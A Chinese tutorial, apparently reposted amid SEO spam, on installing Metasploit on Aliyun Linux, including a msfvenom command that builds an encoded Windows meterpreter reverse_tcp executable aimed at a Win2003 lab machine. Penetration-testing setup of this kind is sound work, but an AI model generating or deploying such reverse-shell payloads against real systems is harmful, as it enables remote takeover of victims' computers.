濮阳杆衣贸易有限公司

主頁 > 知識庫 > linux系統(tǒng)安裝msf的過程詳解

linux系統(tǒng)安裝msf的過程詳解

熱門標(biāo)簽:重慶營銷外呼系統(tǒng)排名 網(wǎng)站上插入地圖標(biāo)注內(nèi)容 繽客網(wǎng)注冊時地圖標(biāo)注出不來 地圖標(biāo)注需要現(xiàn)場嗎 企業(yè)400電話辦理哪正規(guī) 400電話辦理哪家好廠商 鶴壁電銷外呼系統(tǒng)怎么安裝 工廠位置地圖標(biāo)注 地圖標(biāo)注企業(yè)名稱侵權(quán)案件

還是自己寫下安裝過程吧!

我的服務(wù)器系統(tǒng)是 Aliyun linux

1、下載安裝
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

可能報錯:Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

是因為安裝庫的問題!
解決方法:
yum install -y epel-release
然后再重復(fù)上面那條命令!

2、添加新用戶運行msf
adduser msf       #添加msf用戶
su msf                #切換到msf用戶
cd  /opt/metasploit-framework/bin   #切換到msf所在的目錄
./msfconsole
#以后啟動msfconsole,都切換到msf用戶下啟動,這樣會同步數(shù)據(jù)庫。
如果使用root用戶啟動的話,不會同步數(shù)據(jù)庫!
(啟動索引已經(jīng)默認(rèn)配好了!)
直接 msfconsole 就可以啟動了!

#相關(guān)命令
[msf@xxxx root]$ msf
msfbinscan msfconsole msfd   msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc  msfrpcd  msfupdate msfvenom

#數(shù)據(jù)庫初始化
[msf@xxxx root]$ msfdb
Commands:
 init  initialize the component
 reinit delete and reinitialize the component
 delete delete and stop the component
 status check component status
 start start the component
 stop  stop the component
 restart restart the component
#測試:
e.g.我的虛擬主機(jī)是 Win2003(目標(biāo)機(jī))
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注:如果是彈性云服務(wù)器IP,LHOST 要設(shè)置為內(nèi)網(wǎng)分配IP,不能設(shè)公網(wǎng)IP [被這個坑折騰好久?。?!吐血?。?!]

ps:linux系統(tǒng)下安裝msf框架

命令:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

等待運行結(jié)束即可。關(guān)鍵地方按回車和Y即可。

總結(jié)

到此這篇關(guān)于linux系統(tǒng)安裝msf的過程詳解的文章就介紹到這了,更多相關(guān)linux系統(tǒng)安裝msf內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

標(biāo)簽:東莞 鹽城 96 棗莊 渭南 克拉瑪依 常州 日照

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《linux系統(tǒng)安裝msf的過程詳解》,本文關(guān)鍵詞  linux,系統(tǒng),安裝,msf,的,過程,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《linux系統(tǒng)安裝msf的過程詳解》相關(guān)的同類信息!
  • 本頁收集關(guān)于linux系統(tǒng)安裝msf的過程詳解的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    焉耆| 根河市| 建德市| 抚松县| 万安县| 安福县| 本溪市| 西乡县| 杭州市| 庆阳市| 平原县| 民乐县| 巴彦县| 明水县| 新密市| 巧家县| 扎赉特旗| 东明县| 黎平县| 潜山县| 南城县| 革吉县| 大关县| 大理市| 阳江市| 吴川市| 潢川县| 清流县| 开鲁县| 东港市| 汾阳市| 东方市| 呼伦贝尔市| 佛学| 英德市| 黄大仙区| 独山县| 海盐县| 光泽县| 晴隆县| 漾濞|